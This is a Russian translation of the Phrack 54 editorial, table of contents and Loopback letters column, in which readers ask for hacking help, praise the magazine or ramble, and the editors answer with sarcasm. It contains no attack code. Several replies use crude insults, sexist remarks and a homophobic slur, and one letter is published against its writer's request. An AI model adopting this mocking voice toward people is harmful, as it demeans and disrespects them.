

Phrack RU issue 054

Русская версия Phrack, выпуск 054. Полный текст статей с кодом и таблицами.

Темы выпуска: культура Phrack, новости сцены, loopback, prophile и хакерские манифесты; Unix/Linux, BSD, Windows NT и администрирование систем; сети, маршрутизация, TCP/IP, Cisco, телефония и телеком-инфраструктура; эксплуатация уязвимостей, shellcode, rootkits и низкоуровневая безопасность.

Материалы выпуска: Индекс Phrack 54; Phrack 54 Loopback (Обратная связь); Phrack 54 — Linenoise (Шум на линии); Личное; Linux и отбеливание источников случайных чисел; Подход «и ремень, и подтяжки» (сентябрь 1998); Поиск соединений в сетях с динамическими IP-адресами; Уязвимости веб-технологий NT; Удалённое определение ОС через анализ стека TCP/IP; Обход снифферов и систем обнаружения вторжений; Phrack World News; extract3.c.

Больше крутых материалов в моём телеграм канале [@grogrigs](#)

Индекс Phrack 54

Автор: Phrack Staff

— — —

P H R A C K 5 4 I N D E X

Живём в SYN

Чего нам хочется на Рождество: нормального удалённого определения операционной системы. Нормального удалённого обнаружения режима прослушивания. Нормального агентного обнаружения вторжений.

Пара слов об этом выпуске. Верные и внимательные читатели заметят, что он немного меньше обычного. Тому есть две причины. Первая — скорость выхода. Мы стараемся делать выпуски Phrack чуть компактнее, чтобы выпускать их более регулярно. Вторая причина — качество. Мусора в сети и так хватает. Мы отклоняем не меньше половины всех присланных материалов, чтобы донести до вас только лучшее. Наслаждайтесь.

Перемотаем назад, в август 1998 года.

Воскресное утро в Лас-Вегасе, около пяти утра. Мы с Angstrom решаем покинуть Hard Rock Hotel. Была долгая ночь с выпивкой и азартными играми. Я в плюсе долларов на двести. Он — примерно на тридцать. Оба мы пьяны сверх всякой меры. Возвращаемся в Jackie Gaughan's Plaza Hotel and Casino — жалкое местечко, куда старики приходят стареть ещё больше, и у каждого хотя бы одна нога уже в могиле. «Назад в будущее II»? Дворец удовольствий Биффа? Добро пожаловать в Plaza Hotel.

Так или иначе, мы вразвалочку заходим внутрь, направляемся в лаунж и обнаруживаем там Artimage, Asriel, Glyph и Alhambra.* После какого-то случайного разговора (конкретику которого я полностью забыл) Asriel говорит мне, что стоит ещё поиграть в блэкджек.

«У меня только сотни», — отвечаю я. Играть больше всё равно не хотелось. Это был шестой день моего вегасского забега, и азартные игры мне уже осточертели.

«<пожимает плечами> Ну поставь сотню», — говорит As.

«Ладно». Я сдался.

Плюхаюсь за свободный стол для блэкджека и кладу сотню. Дилер — добродушного вида двухсотлетний мужик из Лаоса.

«ДЕНЬГИ В ИГРУ!» — говорю я. Помню, что был очень пьян.

«Деньги в игру?» — переспрашивает он. Питбосс просыпается.

«Деньги в игру», — подтверждаю я.

 «Деньги в игру!» — объявляет он питбоссу. Питбосс что-то царапает в своей книжке.

Дальше детали начинают расплываться. Я не помню, какую руку мне сдали и что было потом. Знаю одно: я играл строго по учебнику. Это всё, что вам нужно знать. Я играл по «книге». И проиграл эту сотню. В этот момент в дело вступила моя система ставок в блэкджеке. Я выложил ещё две бумажки.

Особый привет Рону Ривесту. По слухам, дошло до нас, что он читает Phrack. Добавьте ещё одного в список Суперэлитных Людей, Читающих Phrack (SEPTREP). Если вы сами являетесь таким человеком или знаете кого-то из них, пришлите письмо редактору, чтобы вас добавили в список (список смотрите в linenoise).

Предупреждение насчёт P54-06 и P54-10: если вы попытаетесь последовательно применить патчи ядра из этих статей на одной и той же системе, второй патч завалится на файле syscalls.master. Вам придётся исправить это вручную. Это несложно. Попробуйте. Я вам доверяю.

Наслаждайтесь журналом. Он создан хакерским сообществом и для хакерского сообщества. Точка.

```
-- Editor in Chief -----[ route
-- Associate Editor -----[ alhambra
-- Phrack World News -----[ disorder
-- Phrack Publicity -----[ dangergrl
-- Phrack Webpage Guy -----[ X
-- Phrack Typographical fixer -----[ silitek
-- Phrack Special Consultant -----[ redragon
-- Mad Cow disease -----[ sir dystic and dildog
----- Elite -----> daveg
-- Official Phrack/r00t auto -----[ BMW M3
-- Your trusted security advisors -[ p and sw_r
-- Shout Outs and Thank Yous -----[ kamee, vision, artimage, chris, meenk,
-----| the former SNI team, n8, phundie, par,
-----| radium, k0re, horizon, dhg, mds, mudge,
-----| bioh, pm (for the elite dox)
```

Phrack Magazine V. 8, #54, Dec 25th, 1998. ISSN 1068-1035

Содержание защищено авторским правом (с) 1998 Phrack Magazine. Все права защищены. Никакая часть не может быть воспроизведена полностью или частично без письменного разрешения главного редактора. Phrack Magazine распространяется ежеквартально для широкой публики, бесплатно. Вперёд, люди.

Контакт с Phrack Magazine

Материалы: phrackedit@phrack.com
Комментарии: loopback@phrack.com
Главный редактор: route@phrack.com
Помощник редактора: alhambra@phrack.com
Публицист: dangergrl@phrack.com
Phrack World News: disorder@phrack.com

Материалы, направляемые на указанный выше адрес, могут быть зашифрованы следующим ключом:

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfQxxP88/O
vgEDrxu4vKpHBMYTE/Gh6u8QtcfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
DDJ2wTS1vXzPsmGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiWCGIngIKt3yG
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZG10QGlu
Zm9uZXhlcY5jb20+ta9QaHJhY2sgTWFfYXpYpbmU=
=liyt
-----END PGP PUBLIC KEY BLOCK-----
```

Как всегда, ЗАШИФРОВАННЫЕ ЗАПРОСЫ НА ПОДПИСКУ БУДУТ ПРОИГНОРИРОВАНЫ. Phrack распространяется открытым текстом. Подписаться тоже можно открытым текстом.

```
phrack:~# head -20 /usr/include/std-disclaimer.h
/*
```

* All information in Phrack Magazine is, to the best of the ability of the
 * editors and contributors, truthful and accurate. When possible, all facts
 * are checked, all code is compiled. However, we are not omniscient (hell,
 * we don't even get paid). It is entirely possible something contained
 * within this publication is incorrect in some way. If this is the case,
 * please drop us some email so that we can correct it in a future issue.
 *
 *
 * Also, keep in mind that Phrack Magazine accepts no responsibility for the
 * entirely stupid (or illegal) things people may do with the information
 * contained herein. Phrack is a compendium of knowledge, wisdom, wit, and
 * sass. We neither advocate, condone nor participate in any sort of illicit
 * behavior. But we will sit back and watch.
 *
 *
 * Lastly, it bears mentioning that the opinions that may be expressed in the
 * articles of Phrack Magazine are intellectual property of their authors.
 * These opinions do not necessarily represent those of the Phrack Staff.
 */

T A B L E O F C O N T E N T S

1 Введение	Phrack Staff	22K
2 Phrack Loopback	Phrack Staff	58K
3 Phrack Line Noise	разные	90K
4 Профиль Phrack: parmater	Phrack Staff	26K
5 Linux и отбеливание источников случайности	phunda mental	174K
6 Защита OpenBSD для многопользовательских сред	route	90K
7 Перехват соединений в сетях с динамическими IP	Seth McGann	34K
8 Уязвимости веб-технологий NT	rfp	40K
9 Удалённое определение ОС через снятие отпечатков TCP/IP	Fyodor	58K
10 Обход sniffеров и систем обнаружения вторжений	horizon	100K
11 Phrack World News	Disorder	240K
12 extract.c	Phrack Staff	32K
		966K

«...психушка в мире медиашлюсечных веб-страниц...»

— хапах на #phrack, 13-10-1998, когда его попросили прокомментировать Antionline.

«Это не инструмент, который следует воспринимать всерьёз нам или нашим клиентам...»

— Edmund Muth, Microsoft, цитата из New York Times, о Back Orifice. (Сколько тысяч машин было захвачено с помощью BO?)

deraadt твой стиль настолько ни на что не похож, что само наличие у тебя этого "стиля" лишено смысла*

— Theo Deraadt, руководитель проекта OpenBSD, о коде route в этом выпуске.

«Так я подумал, что полезного можно сделать с этими деньгами. Я купил Nintendo 64 одной из своих сестёр, у которой лёгкая умственная отсталость. Причина в том, что врачи всегда говорили нам: всё, что стимулирует координацию рук и глаз, ей поможет.»

— Chateloen из «хакерской группы» masters of downloading, объясняющий, почему он не потратил деньги на медицинскую помощь сестре.

EOF

Phrack 54 Loopback (Обратная связь)

Автор: Редакция Phrack

Phrack Loopback — это ваша возможность написать редакции Phrack с комментариями, вопросами или чем угодно ещё. Ответы, как правило, пишет редактор, если не указано иное. Сами письма могут быть отредактированы по формату, но, как правило, не по грамматике и/или орфографии. Мы стараемся не исправлять просторечия, поскольку они нередко добавляют письму колоритную перспективу.

0x1

Мой парень превратился в транссексуала и бросил меня ради другого мужчины. Что вы могли бы сделать, чтобы помочь мне (пожалуйста) показать ему, как сильно я его ценю? Или что мне следует делать? ЭТО письмо не розыгрыш. Это действительно произошло, и я надеялась получить от вас совет, поэтому ПОЖАЛУЙСТА не взрывайте мой компьютер. Искренне, Б.К.

[Клянусь богом, это настоящее письмо. Я такого не придумую (саркастические комментарии здесь не нужны).]

0x2

Интересный журнал у вас, но должен сказать, что мой любимый раздел — это Loopback. Письма написаны в лучшем случае терпимо, тогда как сатирические комментарии — высшего класса. Только что прочитал Loopback из #53 и просто не мог остановиться от смеха. Так держать. Как я говорю: не относитесь к жизни серьёзно — она и так вас не принимает всерьёз.

[Спасибо. Мы стараемся угодить.]

0x3

Как называется система, которую использует школа? RBX? Как можно взломать систему и какие привилегии можно получить?

LocoJ

[Вы сможете слушать, как школьные чиновники обсуждают, насколько вы слабоумны и как собираются оставить вас ещё на один год.]

0x4

Вы никогда не задавались вопросом, как люди, называемые хакерами, продолжают докучать государственным органам и крупным корпорациям?

[Я часто обнаруживаю себя блуждающим именно в этом вопросе.]

Самая секретная государственная информация не является тайной для этих людей, никакая защита не гарантирует безопасности от их взлома.

[Никто не может съесть только одну!]

Некоторые думают, что для того, чтобы быть хакером, нужно быть исключительно умным, использовать дорогое оборудование и иметь контакты в подпольном мире.

[Примерно так оно и есть. И мы все занимаемся сексом с моделями. Это ключевой момент.]

Это не так. Недавние исследования показывают, что пользователь компьютера как минимум на двадцать процентов умнее среднего человека.

[Ну да. Это отличная статистика. Кто вообще не использует компьютер в наше время? Единственные люди, которые не пользуются компьютерами — это либо бормочущие слабоумные, либо те, кого подключили к компьютерам, чтобы они жили.]

Если вы читаете это, вы достаточно умны.

[Однако если вы пишете это, очевидно, нет.]

Всё оборудование, которое вам нужно — это ваш компьютер и модем. И старайтесь избегать контактов с подпольным миром — они опасны.

[Действительно. Держитесь подальше от людей, которые действительно знают, что делают. Обязательно укутайтесь в блаженное невежество. Живите в уединении. Держитесь подальше от людей. Они ранят вас словами.]

Всё, что вам действительно нужно — это информация.

[«...которую вы здесь не получите!»]

Впервые информация, которую хранят в тайне как правительство, так и хакеры, доступна общественности. Наш информационный доклад содержит всё, что нужно знать о хакерстве, включая: *«Хакеры 101» — исчерпывающее пошаговое руководство по методам работы. Это невероятное руководство, написанное опытным хакером специально для начинающих, ответит на следующие вопросы:

[Опытным в умывании и завязывании левого ботинка, а также большей части правого.]

- Что нужно знать о хакерстве и с чего начать?

[Начните с ближайшего борделя!]

- Необходимые программы.
- Список номеров доступа.

[Как насчёт списка с объяснением, к чему эти номера обеспечивают доступ.]

- Как оставаться в безопасности.
- Программы для взлома: что они делают и как работают.
- UNIX: простой подход.
- Теневое хранение паролей.
- Дозвон.
- Сканеры.
- Брутфорс.

...и многое другое.

*[— программирование для законченного идиота
— проститутки и сутенёры: двухдневный tutorial
— социальная инженерия с участием цирковых животных
— создание кондиционеров с куриным вкусом]*

*Ресурсы для хакеров в интернете: наиболее полная коллекция настоящих сайтов хакеров, где вы найдёте:

- программы
- инструменты
- скрипты
- самые свежие знания и техники
- новости из мира хакерства

[МОЛНИЯ: ВЫ ОТСТОЙ]

- тонны другой полезной информации.

Вы можете получить наш доклад в виде печатного материала (всего 9\$), на дискете в формате .txt (всего 7\$) или по электронной почте в формате .txt/ZIP (всего 7\$).

[И вы получите удар по голове от редакции Phrack, если действительно отправите этим бедным слабоумным какие-либо деньги.]

Для внутренних заказов доставка и обработка составляет 1\$. Для заказов из Аляски, Гавайев и зарубежных стран прибавьте 5\$ за доставку и обработку. Для заказов по электронной почте доставка и обработка не применяется. Закажите сейчас и в качестве бесплатного бонуса получите путеводитель по сайтам с тысячами бесплатных программ (только в течение ограниченного времени). Отправляйте наличные, чек или денежный перевод по адресу:

TWS, PO Box 1357 Rancho Cordova, CA 95741.

Для оплаты чеком, пожалуйста, дайте неделю на прохождение платежа.

[...чтобы я мог попросить маму его обналичить...]

Отказ от ответственности:

Пожалуйста, имейте в виду, что любая предоставляемая нами информация носит исключительно образовательный характер.

[Образовательный? Попробуйте назвать это в лучшем случае слегка развлекательным.]

TWS не несёт ответственности за действия своих клиентов.

[...потому что у нас нет клиентов...]

0x5

Прежде чем начну, если это неправильный адрес, которому мне следует кланяться, то приношу глубочайшие извинения.

[Скорее всего, адрес правильный, но я принимаю ваши извинения за то, что, вероятно, будет бессмысленным вопросом.]

Я относительно новый человек в мире компьютеров. Я имею в виду, что у меня был компьютер несколько лет, а интернет — около 15 месяцев, но я чувствую, что знаю недостаточно.

[Как будто кто-то вообще может чувствовать, что «знает достаточно».]

Мне СКУЧНО от того, что я умею делать, и я хотела бы узнать или

[Скучно от ничего — понимаю.]

возможно, направьте меня в нужную сторону, чтобы научиться взламывать. Самые азы. Уровень амёбы в хакерстве, если угодно.

[Хорошо. Начните с малого. Начните со взлома салфеток, вилок и ложек, а затем медленно переходите к более сложным устройствам, таким как ящики и ножницы. Когда-нибудь вы перейдёте к настенным часам и «хлопалке». Вы доберётесь до этого в конце концов.]

С тех пор как я в онлайн, я всегда хотела научиться взламывать. Видишь статьи о пойманных хакерах и новости о компаниях, пытающихся укрепить онлайн-безопасность, и это заставляет тебя идти и что-то делать.

Так что если у вас есть

[«Что-то делать»? Ну. У вас, безусловно, правильный настрой. Эй, может быть, как-нибудь я зайду к вам домой и мы посмотрим телевизор или послушаем компакт-диски или что-нибудь ещё.]

время, я бы это очень оценила.

С уважением,
-Dallor

0x6

у вас есть чат? мне сказали, что вы можете научить меня кое-чему о компьютерах. я очень новый в мире компьютеров в моём преклонном возрасте. я порчу свою систему каждые 2 недели из-за того, что не знаю что делать!

[Предлагаю заняться другими хобби. Может быть, стихами-прибаутками?]

• пауза

[Ша-найнай!]

0x7

Привет, просто хотел поздравить вас с отличным журналом и желаю продолжать в том же духе. Также заметил, что люди могут кое-чего просить. Так вот, могу ли я получить двухэтажный особняк, Порш, Харлей-Дэвидсон, яхту, пять миллионов долларов, семь красивых девушек (по одной на каждую ночь),

..... спасибо :-))

С уважением, Rundus

[Вы поверхностный и меркантильный человек, Rundus. Люди по всему миру страдают от голода и болезней. Может быть, стоит немного подумать о них.]

0x8

[P53-02@0x12: ...я хотел бы узнать больше о зефире...]

Ну что ж, поскольку Phrack одарил меня таким количеством знаний, пора начать отдавать долги!

[Высшее время, если меня спросите...]

Зефир берёт начало в Древнем Египте, где древние брали корни растения мальва и делали из них клейкую пасту. Затем её варили, формируя пышное желтоватое лакомство для фараонов и прочих. Зефирное «лакомство» стало популярным в 30-х годах как кондитерское изделие. Однако из-за длительного процесса приготовления оно не приобрело нынешней популярности до тех пор, пока в 60-х не была революционизирована технология производства зефира. Был введён метод «воздушной продувки». Клейкая основа смешивалась с сахарами и другими добавками и надувалась с помощью машины аэрации. Зефир выходит из машины длинными трубками и нарезается до знакомой нам сегодня формы.

По истории кукурузных хлопьев, SPAM или желе, пожалуйста, обращайтесь к местному неудачнику.

[Хм. Вы, видимо, считаете зефир высшим эшелонем кондитерских изделий? ЧТО ДАЁТ ВАМ НА ЭТО ПРАВО?]

Моя жажда знаний не ограничивается компьютерными системами. К сожалению..

Ray K.

[Следите за следующим выпуском, в котором Рэй прочитает диссертацию о карьере Питера Сколари в телевизионной индустрии под названием: «От "Закадычного друга" до "Дорогая, я снова пьян и безработен"»...]

0x9

Эй!

Интересно, могли бы вы помочь мне найти кое-что?

[Извини, братан. Я не знаю, где твоя семья. Думаю, они тебя бросили. Советую собраться и двигаться дальше.]

Ну, мне нравятся игры. И я знаю, что у секретных материалов есть игра с тем же названием. Вы знаете, где её можно найти, чтобы скачать на компьютер???

[Хм. Попробуй Best Buy или, может быть, Babbages.]

А ещё знаете хорошие сайты, где можно найти ТОЛЬКО mp3?

Спасибо за ваше время,
Cybers

[Какой превосходный и уникальный никнейм!]

0xa

Довольно умно..... Увидел вашу веб-страницу по телевизору..... PHRACK.....бывало, что найти эту страницу оттуда, откуда ты родом, было несложно.....

[Ну. Понятно.]

Просто подумал, что это смешно и абсолютно справедливо — показать, что не все так защищены, как им хотелось бы думать..... Я СТОРОННИК ваших убеждений.....

[Круто. Нам нужно больше фанатиков для нашей тайной армии.]

Спасибо, что показали, что хакеры всё ещё живут дыханием под всеми остальными.....

[Чего?]

ведь это плохо только если тебя поймают..... последствия определяют направление ДЕЙСТВИЙ...(РЕВ. ДЖЕЙМС КИНАН МАЙНАРД, tool)

[Что ж, на самом деле, быть пойманным не зависит от справедливости. И позволять последствиям диктовать направление действий кажется довольно задним умом и постфактумным подходом.]

Bit-Basher.....

0xb

Просто решил написать, чтобы выразить обеспокоенность растущей проблемой в нашем сообществе: ламерами и идиотами.

Многие часто спрашивают меня, что делает человека ламером.

[Возможно, они спрашивают вас именно потому, что вы сами прекрасно вписываетесь в это описание.]

По моему мнению, если вы обладаете двумя или более из этих черт, вы ламер/идиот.

[По моему мнению, вы идиот, если составляете списки о том, что является признаком идиотизма.]

1. Без нужды запрашивать информацию, которую любой дурак мог бы найти за 10 минут в поисковике.

[Почему-то сомневаюсь, что люди любого уровня интеллекта приходят к вам за ответами. Идиоты неплохо чувствуют друг друга.]

2. Писать на лит-спике («эй Ч0ПпЗР Я Зл3Зтн0й Х4кЕр, Д4й мЗ П455вОрД5!») и ожидать хоть капли уважения.

[Пожалуйста, больше никогда не пишите мне или в Phrack Magazine. Неважно, насколько хорошей вам кажется эта идея — не делайте этого. Лучше пусть наступит тепловая смерть вселенной, чем я снова услышу от вас.]

3. Болтать о вещах, о которых вы не знаете НИЧЕГО.

[Или в вашем случае — О ЧЁМ-ЛИБО ВООБЩЕ.]

4. Утверждать, что управляешь или владеешь крупными сайтами (например, ArchAngel, утверждающий, что владеет L0pht).

[Кто это, чёрт возьми?]

5. Просить точные инструкции, как взломать сайт.

[Маленькая игра, которую я люблю, когда мне скучно — «найди дурака». Вот он!]

Критериев больше, я уверен, но просто не могу придумать их сейчас.

[НО КАК ЖЕ СПРАВЯТСЯ ИДИОТЫ СРЕДИ НАС!@?]

Новички постоянно просят, чтобы их научили. Что касается новичков — тех, кто стоит на пороге превращения в ламеров — я думаю, лучший совет, который мы

[О. Нет. Нет-нет. Не делайте этого. Пожалуйста. «Мы». Не называйте нас равными.]

можем им дать — это то, что хакерство не является «обучаемым» навыком. Это то, что нужно познавать через опыт — нужно знать, как работают вещи, как они взаимодействуют, и это предполагает самообразование. Никогда не полагайтесь на кого-то другого, чтобы получить точную информацию — всегда ищите факты.

[Отличный план. Никогда не пытайтесь учиться у кого-либо. Будьте своим собственным наставником. Обучите себя невежеству.]

Ну, я не очень понимаю, о чём был этот монолог, но спасибо, что выслушали.

[Ну, если ты сам не знаешь, то я, чёрт возьми, понятия не имею.]

{Кстати, Phrack 53 был отличным. Продолжайте в том же духе.}

[Спасибо! Всегда приятно слышать, что мы хорошо работаем!]

0xc

Эй, я новичок в этом. как мне начать? видишь ли, я хочу узнать некоторые коды yaһoo. есть ли что-то, что мне следует знать? у меня нет ни малейшего понятия, что законно, а что нет...

[Хорошо. Всё просто. «Киберпространство» — это что-то вроде Дикого Запада. Там есть один парень, который тусуется и отпугивает преступников своим волшебным ведром морального искупления. Любой злодей, соприкоснувшийся с ним, мгновенно раскаивается в своём грехе и прощается. Ведро, однако, неисправно, и иногда (примерно в 30% случаев) человек просто взрывается. Впрочем, учёные и алхимики из Университета Брауна работают над волшебной таблеткой, которая предотвратит это случайное взрывание. Она не столько предотвращает взрывание, сколько собирает человека обратно после взрыва. Загвоздка в том, что нужно принять таблетку до взрыва. И никто не хочет принимать таблетку, потому что это всё равно что красный флаг для властей, означающий, что вы нарушитель. О, подождите, возможно, это был сон, который мне приснился.]

от Bisker

[Форма... паука-обезьянки! Форма... бискера!]

0xd

сэр

мне нужна помощь я знаю что вы, наверное, думаете что я какой-то ламер с AOL и Windows который никогда в жизни не станет хакером.

[Скорее, я просто записал вас как человека, боящегося пунктуации.]

Что ж, большая часть этого правда, но я (надеюсь, со временем) стану хакером.

[Удачи.]

Мне нужно знать, как защитить компьютер от других хакеров?

[Хорошо, дам вам инсайдерский совет. Вот что мы делаем, чтобы уберечь наши компьютеры от электронных хулиганов: используем их один раз, а потом выбрасываем.]

Есть ли какие-нибудь .txt документы, которые, по-вашему, мне следует прочитать?

[Посмотрите одну под названием «Мои две мамочки». Она ответила на многие вопросы для меня.]

Мне нужно всё, что только можно по этой теме, чтобы наконец перейти к следующему шагу (я ещё не знаю, что это, мой друг помогает мне стать хакером).

[Он читал «Мои две мамочки»? Если нет, он шарлатан. Он, вероятно, просто говорит то, что вы хотите услышать, чтобы вы с ним переспали. Я бы ткнул его разок в ногу для надёжности.]

Мне всё равно, сколько всего нужно прочитать, лишь бы стать хакером.

[Подумайте только! Если вы это читаете, вы уже так ближе!]

P.S. Я понятия не имел, кому это отправить, поэтому выбрал вас (Разве это не делает вас особенным?). Пожалуйста, не делайте это публичным. Я заходил на некоторые сайты и видел, что хакеры любят высмеивать ламеров и публиковать полученную почту на своих сайтах, поэтому у меня есть ощущение, что вы куда-то опубликуете это письмо. Только не надо, пожалуйста.

[Не проблема. Оставляю это в личной переписке.]

0хе

Просто просмотрел вашу веб-страницу... вы интересный человек.

[Согласен.]

Хотел бы прийти на вашу r00t-вечеринку (честно); можно мне?

[Абсолютно нет.]

Я живу в Греции и планирую поехать в США на это Рождество.

[Это хорошо.]

Это было бы прекрасной возможностью для меня познакомиться с вами и вашими друзьями.

[Да, но это в равной мере хорошая возможность для вас не встретиться с нами.]

PS: Я не хакер, я просто восхищаюсь вашей работой.

[Ну что ж, большое спасибо. Приятно слышать.]

liquid, Wed Sep 16 06:24:09 1998

0xf

привет всем

[Кому?]

я только что читал некоторые файлы о хакинге и фрикинге французских авторов, и мне в голову пришло одно или два предложения

(i) перестаньте писать как мальчик в препубертатном возрасте с кучей ***eZ и B1abL4(blabla)

[ДА! ВЫ, ЧЁРТОВЫ ФРАНЦУЗСКИЕ КОММУНИСТЫ-НАЦИСТЫ!]

(ii) будьте более конкретны и профессиональны, как в PHRACK

[СЛАВА АМЕРИКЕ!]

поэтому я надеюсь, что позвонил не в ту дверь, и что французская сцена выглядит не так.

[Чего?]

ещё одно: включает ли хакинг изучение и поиск изъянов в религиозной системе?

[Конечно, почему бы и нет?]

потому что на самом деле религиозные системы основаны на формальных системах, и мы всегда можем найти парадокс (теорема Гёделя). Если да, то у меня будет будущая статья для phrack

[Хорошо.]

у меня есть название OS для mythrandir — «TRYOS», оно очень короткое и действительно резюмирует его работу

СПАСИБО ЗА ВСЁ, ЧТО ВЫ ДЕЛАЕТЕ ДЛЯ ХАКЕРСКОГО СООБЩЕСТВА
PHRACK — ЭТО ЛУЧШЕЕ, ЧТО Я КОГДА-ЛИБО ЧИТАЛ

[НУ ЧТО Ж. ЭТО ЛУЧШЕЕ, ЧТО Я КОГДА-ЛИБО НАПИСАЛ.]

TFAYD.

0x10

чел, просто хочу сказать, что это очень «образовательная» информация. не могу сказать, что многому научился, но эта информация помогла мне наверстать упущенное за последние пять лет. был во флоте, чел, это отстой, но хочу поблагодарить вас всех. но, как говорится, достаточно умён, чтобы сделать это — делай, но это твоя ответственность. всем «настоящим» людям там в этом любимом мире — жаль, что они не знают реальности. в общем, это дерзко, это бомба.

[Слово в слово.]

--vadaka--

0x11

Привет. Я OmniLynx, и я думаю о создании нового веб-журнала для хакеров.

[Эй! Звучит как отличная нишевая рыночная идея!]

В истинном духе хакерства, он будет бесплатным для всех желающих.

[В истинном духе мученичества и самовозвеличивания.]

К сожалению, пока что это лишь мысль, потому что у меня недостаточно источников, чтобы сделать его хорошим. Хотел бы знать, не хотите ли вы стать источником для моего веб-журнала. Всё, что нужно делать — это собирать советы, трюки, новостные истории, анекдоты и т.п. для хакеров или о них.

[Пожалуйста, можно мне? Можно быть вашим стажёром? Я буду вашим Джимми Олсеном! Позвольте мне отложить в сторону мою профессиональную карьеру, мою личную жизнь и мой журнал с его 14-летней историей и немедленно заняться этим.]

К сожалению, вам не смогут заплатить за это, поскольку он бесплатный, но вы

[БАХ! Кому нужны деньги? Ваше восхищение — достаточная плата!]

получите публикацию вашего имени и, возможно, сможете выражать свои мысли в колонке.

[ЗАТКНИСЬ! Я смогу вести колонку?!@ Bay! Мне нужно достать «Sony's My First Zine Kit» и начать!]

OmniLynx

[Чувак. Это иронично. Я чуть не выбрал ник «ВсегдаПрисутствующийБобёр».]

0x12

Привет phrack,

я только что читаю phrack #52 «phrack loopback».

Вы просто заставляете меня смеяться до смерти. Лучше любого юморного рассылочного списка.

[ГОСПОДИ! Чувак, я не хочу, чтобы кто-то смеялся до смерти! Если все будут смеяться до смерти, как я получу постоянных читателей?]

fred

0x13

Три года болтаюсь в интернете. После того, как я пережил начальный восторг от «BAU, сколько же здесь чёртовски много программ!»

[И порно.]

(и параллельно сменил OS/2 и msdog на Linux), я начал читать... и читать.... и читать... потом наткнулся на Phrack. Одним словом — КРУТЬ!

[Спасибо, Картман.]

Читал все выпуски последние несколько дней и очень впечатлён общим настроением. Отлично читать о прошлых «сражениях» с телефонной компанией и системами (на ум приходит Phiber Optik), ПОДРОБНЫХ инструкциях по различным терминалам, и схемах и всяком таком. История, программное и аппаратное обеспечение.

[Не забудьте все отличные статьи о бомбах! Дымовые бомбы, болтовые бомбы, ацетиленовые бомбы, снарядные бомбы... Ах да, середина 80-х — это было бурное время, когда молодёжь чувствовала необходимость взрывать вещи.]

Помимо женщин и пива, не могу придумать более интересных тем.

[За исключением, пожалуй, унижения и объективизации женщин.]

Аплодирую тому, как вы продолжаете дело, передавая его дальше. Аплодирую тому, что вы остались верны идее «Вся информация является общедоступной информацией — и её приобретению». Аплодирую тому факту, что это продолжается так долго — бесплатно. Наряду с ядром — PHRACK[0-5][1-9] могут быть самыми важными битами на моей машине. Продолжайте, засранцы — потому что так же верно, как налогообложение без представительства, они собираются попытаться вас затоптать (нас).

[(вас).]

P.S. Подсказки о том, как взломать sendmail, чтобы полностью переписать заголовки и конверты, отражая полностью фиктивное имя пользователя/систему (в целях анонимности — например, для такого письма) были бы очень appreciated. Если подсказка — «grep sendmail ./PHRACK*», то..
.....неважно...

Вы, засранцы, рулите.....

Deicide

[Я решил, что вы отстой.]

0x14

я умею программировать.....Если скажешь мне, как взламывать, я пришлю свои лучшие проги.....

[О, звучит как честная сделка.]

Я лидер Warco

[Я Лотар с Холмов.]

0x15

Можете ли вы связать меня с кем-нибудь в Чикаго, кто может помочь мне восстановить удалённые документы с домашнего компьютера.

Спасибо

[Думаю, Эмиль свободен. Позвоните ему.]

0x16

Я ХОТЕЛ БЫ УЗНАТЬ, ГДЕ Я МОГУ УЗНАТЬ, КАК ПОДКЛЮЧИТЬСЯ К И

ВЗЛОМАТЬ ЛИЧНЫЕ КОМПЬЮТЕРЫ ЛЮДЕЙ, ИЛИ МОЖЕТ БЫТЬ, ВЫ ЗНАЕТЕ.

Я БЫ ОЦЕНИЛ СОВЕТ,

[Не размножайтесь.]

X-3

0x17

Мне нужен Заразный Вирус, чтобы повредить маленькую сеть
Если у вас есть идеи, где я мог бы его получить, напишите мне

[Мне нужна любовь и понимание. Готов обменяться.]

0x18

Эй... Я не увлекаюсь взломом и всем таким, но прочитал сегодня утром статью о вас и Phrack в Worcester Telegram and Gazette. Просто хотел сказать, что считаю вашу несгибаемость перед правительственным давлением очень крутой. Это не об анархии — это о правах; о свободе слова. Понимаете? В любом случае, не буду больше отнимать ваше время. Помните, у хакеров тоже есть права.

[У некоторых из нас есть ещё и хорошие левые.]

0x19

Было бы неплохо иметь возможность связаться с кем-нибудь, кто мог бы выполнять для вас взлом определённым образом.

[Извините. Мы взламываем только расплывчатым, туманным образом.]

У вас есть какие-либо списки для такого рода людей?

[Попробуйте <http://www.fbi.gov/fugitive/frphome.htm>. Мы обычно набираем оттуда.]

0x1a

Привет!

Прежде всего, позвольте сказать, насколько невероятно потрясающим и всемогущим является Phrack, особенно выпуск 52.

[ВЕРХОВНЫЙ МОЩНЫЙ ДЖАГГЕРНАУТ ЭФФЕКТИВНОЙ СИЛЫ!]

У вас потрясающий журнал, и я преклоняюсь перед вами и поклоняюсь земле, по которой вы ходите. На самом деле, я думаю, что мировое господство теперь у вас в руках.

[Конечно, если бы весь мир был столь же угодлив, как вы, мы бы уже добились своего.]

[Круто. Вы горячая девушка? Если нет — отвалите, голубятник.]

На самом деле, я просто пишу, чтобы поблагодарить вас за Phrack Loopback.

[Самосбывающееся пророчество. Вот мы и здесь.]

Хотя всё в Phrack хорошо, а большинство просто отлично (по оценке

[Как всё может быть хорошим, но при этом большинство — отличным?]

скользящей шкалы общей доброты), то, что каждый выпуск приносит мне наибольшее духовное удовлетворение — это Loopback. Он обеспечивает 78% суточной дозы юмора и 37% необходимого сарказма для психического благополучия.

[И теперь вы часть этой любви. обнимашки]

Итак, ещё раз, спасибо за блестящую редакцию Phrack, и спасибо людям, которые пишут!

[ПРОДОЛЖАЙТЕ ПРИСЫЛАТЬ ПИСЬМА И ОТКРЫТКИ!]

Unit3

0x1b

Привет, я знаю, что буду звучать очень ламерски, задавая этот вопрос. Я очень хотел бы, чтобы вы дали мне краткое описание того, как удалённо взламывать системы. Я умею взламывать, но могу проникать в системы без логина и пароля, ну в общем спасибо в любом случае

